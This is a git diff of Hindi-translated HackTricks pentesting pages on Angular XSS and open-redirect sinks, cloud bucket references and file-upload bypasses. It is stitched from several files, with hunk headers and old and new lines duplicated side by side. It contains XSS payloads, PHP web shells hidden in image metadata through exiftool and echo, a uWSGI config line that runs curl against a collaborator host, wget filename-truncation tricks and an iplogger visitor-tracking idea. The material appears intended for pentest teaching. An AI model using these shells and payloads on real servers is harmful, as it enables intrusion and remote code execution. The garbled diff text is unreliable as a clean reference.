Angular टेम्पलेट्स का उपयोग करके पृष्ठों को गतिशील रूप से बनाने के लिए टेम्पलेट्स का लाभ उठाता है। यह दृष्टिकोण Angular को मूल्यांकन करने के लिए टेम्पलेट अभिव्यक्तियों को डबल कर्ली ब्रैकेट्स (`{{}}`) के भीतर संलग्न करने की आवश्यकता होती है। इस तरह, फ्रेमवर्क अतिरिक्त कार्यक्षमता प्रदान करता है। उदाहरण के लिए, एक टेम्पलेट जैसे `{{1+1}}` 2 के रूप में प्रदर्शित होगा।
आमतौर पर, Angular उपयोगकर्ता इनपुट को बचाता है जिसे टेम्पलेट अभिव्यक्तियों के साथ भ्रमित किया जा सकता है (जैसे, \`< > ' " \`\ जैसे वर्ण)। इसका मतलब है कि इस प्रतिबंध को दरकिनार करने के लिए अतिरिक्त कदम उठाने की आवश्यकता होती है, जैसे कि जावास्क्रिप्ट स्ट्रिंग ऑब्जेक्ट बनाने वाली फ़ंक्शंस का उपयोग करना ताकि ब्लैकलिस्टेड वर्णों का उपयोग न किया जा सके। हालाँकि, इसे प्राप्त करने के लिए, हमें Angular संदर्भ, इसकी विशेषताओं और चर पर विचार करना होगा। इसलिए, एक टेम्पलेट इंजेक्शन हमला इस प्रकार दिखाई दे सकता है:
आमतौर पर, Angular उपयोगकर्ता इनपुट को बचाता है जिसे टेम्पलेट अभिव्यक्तियों के साथ भ्रमित किया जा सकता है (जैसे, \`< > ' " \`\` जैसे वर्ण)। इसका मतलब है कि इस प्रतिबंध को पार करने के लिए अतिरिक्त कदमों की आवश्यकता होती है, जैसे कि ऐसे फ़ंक्शंस का उपयोग करना जो JavaScript स्ट्रिंग ऑब्जेक्ट उत्पन्न करते हैं ताकि ब्लैकलिस्टेड वर्णों का उपयोग करने से बचा जा सके। हालाँकि, इसे प्राप्त करने के लिए, हमें Angular संदर्भ, इसकी विशेषताओं और चर पर विचार करना होगा। इसलिए, एक टेम्पलेट इंजेक्शन हमला इस प्रकार दिखाई दे सकता है:
```jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -239,7 +239,7 @@ CSR के विपरीत, जो ब्राउज़र के DOM मे
#### DOM इंटरफेस
जैसा कि पहले कहा गया था, हम _Document_ इंटरफेस का उपयोग करके सीधे DOM तक पहुँच सकते हैं। यदि उपयोगकर्ता इनपुट को पहले से मान्य नहीं किया गया है, तो यह क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियों की ओर ले जा सकता है।
जैसा कि पहले कहा गया था, हम _Document_ इंटरफेस का उपयोग करके सीधे DOM तक पहुँच सकते हैं। यदि उपयोगकर्ता इनपुट को पहले से मान्य नहीं किया गया है, तो यह क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरियों का कारण बन सकता है।
हमने नीचे दिए गए उदाहरणों में `document.write()` और `document.createElement()` विधियों का उपयोग किया:
```jsx
@ -315,7 +315,7 @@ this.elementRef.nativeElement.appendChild(s);
}
}
```
* हालाँकि `Renderer2` API प्रदान करता है जिसे सुरक्षित रूप से उपयोग किया जा सकता है, भले ही मूल तत्वों तक सीधी पहुँच का समर्थन न हो, फिर भी इसमें कुछ सुरक्षा दोष हैं। `Renderer2` के साथ, `setAttribute()` विधि का उपयोग करके HTML तत्व पर विशेषताएँ सेट करना संभव है, जिसमें कोई XSS रोकथाम तंत्र नहीं है।
* हालाँकि `Renderer2` API प्रदान करता है जिसे सुरक्षित रूप से उपयोग किया जा सकता है, भले ही मूल तत्वों तक सीधी पहुँच का समर्थन न हो, फिर भी इसमें कुछ सुरक्षा दोष हैं। `Renderer2` के साथ, HTML तत्व पर `setAttribute()` विधि का उपयोग करके विशेषताएँ सेट करना संभव है, जिसमें कोई XSS रोकथाम तंत्र नहीं है।
```tsx
//app.component.ts
@ -371,11 +371,11 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button>
```
हमारे शोध के दौरान, हमने XSS और CSS इंजेक्शन के संबंध में अन्य `Renderer2` विधियों जैसे `setStyle()`, `createComment()`, और `setValue()` के व्यवहार की भी जांच की। हालाँकि, हम इन विधियों के लिए कोई मान्य हमलावर वेक्टर नहीं ढूंढ सके।
हमारे शोध के दौरान, हमने XSS और CSS इंजेक्शन के संबंध में अन्य `Renderer2` विधियों जैसे `setStyle()`, `createComment()`, और `setValue()` के व्यवहार की भी जांच की। हालाँकि, हम इन विधियों के लिए कोई मान्य हमले के वेक्टर नहीं ढूंढ सके।
#### jQuery
jQuery एक तेज, छोटा और फीचर-समृद्ध JavaScript लाइब्रेरी है जिसे Angular प्रोजेक्ट में HTML DOM ऑब्जेक्ट्स के साथ हेरफेर करने में मदद के लिए उपयोग किया जा सकता है। हालाँकि, जैसा कि ज्ञात है, इस लाइब्रेरी की विधियों का उपयोग XSS भेद्यता प्राप्त करने के लिए किया जा सकता है। Angular प्रोजेक्ट्स में कुछ कमजोर jQuery विधियों के शोषण पर चर्चा करने के लिए, हमने इस उपखंड को जोड़ा।
jQuery एक तेज, छोटा और फीचर-समृद्ध JavaScript लाइब्रेरी है जिसे Angular प्रोजेक्ट में HTML DOM ऑब्जेक्ट्स के साथ हेरफेर करने में मदद के लिए उपयोग किया जा सकता है। हालाँकि, जैसा कि ज्ञात है, इस लाइब्रेरी की विधियों का उपयोग XSS भेद्यता प्राप्त करने के लिए किया जा सकता है। Angular प्रोजेक्ट्स में कुछ कमजोर jQuery विधियों के शोषण के तरीके पर चर्चा करने के लिए, हमने इस उपखंड को जोड़ा है
* `html()` विधि सेट के पहले तत्व की HTML सामग्री प्राप्त करती है या हर मिलान किए गए तत्व की HTML सामग्री सेट करती है। हालाँकि, डिज़ाइन के अनुसार, कोई भी jQuery कंस्ट्रक्टर या विधि जो HTML स्ट्रिंग स्वीकार करती है, संभावित रूप से कोड निष्पादित कर सकती है। यह `<script>` टैग के इंजेक्शन या कोड निष्पादित करने वाले HTML विशेषताओं के उपयोग के माध्यम से हो सकता है जैसा कि उदाहरण में दिखाया गया है।
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ])
```
जैसा कि पहले उल्लेख किया गया है, अधिकांश jQuery APIs जो HTML स्ट्रिंग स्वीकार करते हैं, HTML में शामिल स्क्रिप्ट चलाएंगे। `jQuery.parseHTML()` विधि पार्स की गई HTML में स्क्रिप्ट नहीं चलाती जब तक कि `keepScripts` स्पष्ट रूप से `true` हो। हालाँकि, अधिकांश वातावरण में अप्रत्यक्ष रूप से स्क्रिप्ट निष्पादित करना संभव है; उदाहरण के लिए, `<img onerror>` विशेषता के माध्यम से।
जैसा कि पहले उल्लेख किया गया है, अधिकांश jQuery APIs जो HTML स्ट्रिंग स्वीकार करते हैं, HTML में शामिल स्क्रिप्ट चलाएंगे। `jQuery.parseHTML()` विधि केवल तभी स्क्रिप्ट चलाती है जब `keepScripts` स्पष्ट रूप से `true` हो। हालाँकि, अधिकांश वातावरण में अप्रत्यक्ष रूप से स्क्रिप्ट निष्पादित करना संभव है; उदाहरण के लिए, `<img onerror>` विशेषता के माध्यम से।
```tsx
//app.component.ts
@ -468,7 +468,7 @@ window.location.href = "https://google.com/about"
शोषण प्रक्रिया निम्नलिखित परिदृश्यों के लिए समान है।
* `window.location.assign()`(और `document.location.assign()`)
यह विधि विंडो को निर्दिष्ट URL पर दस्तावेज़ लोड और प्रदर्शित करने का कारण बनती है। यदि हमारे पास इस विधि पर नियंत्रण है, तो यह ओपन रीडायरेक्ट हमले के लिए एक सिंक हो सकता है।
यह विधि विंडो को निर्दिष्ट URL पर दस्तावेज़ लोड और प्रदर्शित करने का कारण बनती है। यदि हमारे पास इस विधि पर नियंत्रण है, तो यह एक ओपन रीडायरेक्ट हमले के लिए एक सिंक हो सकता है।
```tsx
//app.component.ts
@ -481,7 +481,7 @@ window.location.assign("https://google.com/about")
```
* `window.location.replace()`(और `document.location.replace()`)
यह विधि वर्तमान संसाधन को प्रदान किए गए URL पर वाले से बदल देती है।
यह विधि वर्तमान संसाधन को प्रदान किए गए URL पर वाले के साथ बदल देती है।
यह `assign()` विधि से भिन्न है कि `window.location.replace()` का उपयोग करने के बाद, वर्तमान पृष्ठ सत्र इतिहास में नहीं बचाया जाएगा। हालाँकि, जब हमारे पास इस विधि पर नियंत्रण होता है, तो ओपन रीडायरेक्ट भेद्यता का शोषण करना भी संभव है।
@ -496,7 +496,7 @@ window.location.replace("http://google.com/about")
```
* `window.open()`
`window.open()` विधि एक URL लेती है और इसे एक नए या मौजूदा टैब या विंडो में लोड करती है। इस विधि पर नियंत्रण होने से XSS या ओपन रीडायरेक्ट भेद्यता को ट्रिगर करने का अवसर भी मिल सकता है।
`window.open()` विधि एक URL लेती है और इसे एक नए या मौजूदा टैब या विंडो में लोड करती है। इस विधि पर नियंत्रण होने से XSS या ओपन रीडायरेक्ट भेद्यता को ट्रिगर करने का एक अवसर भी हो सकता है।
```tsx
//app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular classes
* Angular दस्तावेज़ के अनुसार, Angular `Document` DOM दस्तावेज़ के समान है, जिसका अर्थ है कि Angular में क्लाइंट-साइड भेद्यताओं का शोषण करने के लिए DOM दस्तावेज़ के लिए सामान्य वेक्टरों का उपयोग करना संभव है। `Document.location` प्रॉपर्टीज़ और विधियाँ सफल ओपन रीडायरेक्ट हमलों के लिए सिंक हो सकती हैं जैसा कि उदाहरण में दिखाया गया है:
* Angular दस्तावेज़ के अनुसार, Angular `Document` DOM दस्तावेज़ के समान है, जिसका अर्थ है कि Angular में क्लाइंट-साइड भेद्यताओं का शोषण करने के लिए DOM दस्तावेज़ के लिए सामान्य वेक्टर का उपयोग करना संभव है। `Document.location` प्रॉपर्टीज़ और विधियाँ सफल ओपन रीडायरेक्ट हमलों के लिए सिंक हो सकती हैं जैसा कि उदाहरण में दिखाया गया है:
```tsx
//app.component.ts
@ -533,7 +533,7 @@ this.document.location.href = 'https://google.com/about';
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
```
* शोध चरण के दौरान, हमने ओपन रीडायरेक्ट भेद्यताओं के लिए Angular `Location` क्लास की भी समीक्षा की, लेकिन कोई मान्य वेक्टर नहीं मिला। `Location` एक Angular सेवा है जिसका उपयोग एप्लिकेशन वर्तमान URL के साथ बातचीत करने के लिए कर सकते हैं। इस सेवा में दिए गए URL को संशोधित करने के लिए कई विधियाँ हैं - `go()` , `replaceState()`, और `prepareExternalUrl()`। हालाँकि, हम उन्हें बाहरी डोमेन पर रीडायरेक्ट करने के लिए उपयोग नहीं कर सकते। उदाहरण के लिए:
* शोध चरण के दौरान, हमने ओपन रीडायरेक्ट भेद्यताओं के लिए Angular `Location` क्लास की भी समीक्षा की, लेकिन कोई मान्य वेक्टर नहीं मिला। `Location` एक Angular सेवा है जिसका उपयोग एप्लिकेशन ब्राउज़र के वर्तमान URL के साथ बातचीत करने के लिए कर सकते हैं। इस सेवा में दिए गए URL को संशोधित करने के लिए कई विधियाँ हैं - `go()` , `replaceState()`, और `prepareExternalUrl()`। हालाँकि, हम उन्हें बाहरी डोमेन पर रीडायरेक्ट करने के लिए उपयोग नहीं कर सकते। उदाहरण के लिए:
```tsx
//app.component.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss)
* [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -2,10 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
यदि आप Buckets की गणना करने और उनका दुरुपयोग करने के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ की जांच करें:
यदि आप Buckets की गणना और दुरुपयोग के बारे में अधिक जानना चाहते हैं, तो इस पृष्ठ को देखें:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## Firebase क्या है
Firebase एक Backend-as-a-Services है जो मुख्य रूप से मोबाइल एप्लिकेशन के लिए है। यह बैक-एंड को प्रोग्राम करने के बोझ को हटाने पर केंद्रित है, एक अच्छा SDK प्रदान करते हुए और कई अन्य दिलचस्प चीजें जो एप्लिकेशन और बैक-एंड के बीच बातचीत को सरल बनाती हैं।
Firebase एक Backend-as-a-Services है जो मुख्य रूप से मोबाइल एप्लिकेशन के लिए है। यह बैक-एंड को प्रोग्राम करने के चार्ज को हटाने पर केंद्रित है, एक अच्छा SDK प्रदान करते हुए और कई अन्य दिलचस्प चीजें जो एप्लिकेशन और बैक-एंड के बीच इंटरैक्शन को सुविधाजनक बनाती हैं।
Firebase के बारे में अधिक जानें:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -45,14 +45,14 @@
- _file.php%00.png%00.jpg_
6. **मान्य एक्सटेंशन से पहले exec एक्सटेंशन डालने का प्रयास करें** और प्रार्थना करें कि सर्वर गलत कॉन्फ़िगर किया गया है। (Apache की गलत कॉन्फ़िगरेशन का शोषण करने के लिए उपयोगी जहां कोई भी एक्सटेंशन **.php** के साथ समाप्त नहीं होता है):
- _ex: file.php.png_
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
7. **Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS)** का उपयोग करें। इस मामले में, एक कलन वर्ण “:” एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत के पहले डाला जाएगा। परिणामस्वरूप, सर्वर पर **निषिद्ध एक्सटेंशन के साथ एक खाली फ़ाइल** बनाई जाएगी (जैसे “file.asax:.jpg”)। इस फ़ाइल को बाद में अन्य तकनीकों का उपयोग करके संपादित किया जा सकता है जैसे कि इसके छोटे फ़ाइल नाम का उपयोग करना। “**::$data**” पैटर्न का उपयोग गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक बिंदु वर्ण जोड़ना आगे की प्रतिबंधों को बायपास करने के लिए भी उपयोगी हो सकता है (जैसे “file.asp::$data.”)
8. फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। मान्य एक्सटेंशन कट जाता है। और दुर्भावनापूर्ण PHP छोड़ दिया जाता है। AAA<--SNIP-->AAA.php
```
# Linux अधिकतम 255 बाइट
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और जांचें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # यहाँ 4 घटाएं और .png जोड़ें
# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# पेलोड बनाएं
@ -63,7 +63,7 @@ AAA<--SNIP 232 A-->AAA.php.png
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
@ -89,22 +89,22 @@ AAA<--SNIP 232 A-->AAA.php.png
### विशेष एक्सटेंशन ट्रिक्स
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करके, या इसे स्क्रिप्ट के अंदर शामिल करके...)
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...)
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने** की अनुमति दी हो सकती है।
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो सकती है**
## **Jetty RCE**
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की अपेक्षा करें!
यदि आप Jetty सर्वर में एक XML फ़ाइल अपलोड कर सकते हैं तो आप [RCE प्राप्त कर सकते हैं क्योंकि **नई \*.xml और \*.war स्वचालित रूप से संसाधित होती हैं**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** इसलिए, जैसा कि निम्नलिखित छवि में उल्लेख किया गया है, XML फ़ाइल को `$JETTY_BASE/webapps/` में अपलोड करें और शेल की अपेक्षा करें!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
इस भेद्यता की विस्तृत खोज के लिए मूल शोध की जांच करें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
इस भेद्यता की विस्तृत खोज के लिए मूल शोध की जांच करें: [uWSGI RCE शोषण](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड फ़ीचर, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करत है।
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करत है।
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -174,7 +174,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**SVG फ़ाइल अपलोड के माध्यम से ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- यदि आप **वेब सर्वर को URL से इमेज कैच करने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
- यदि आप **वेब सर्वर को URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**
- [PDF-Adobe अपलोड के साथ **XXE और CORS** बायपास](pdf-upload-xxe-and-cors-bypass.md)
- विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
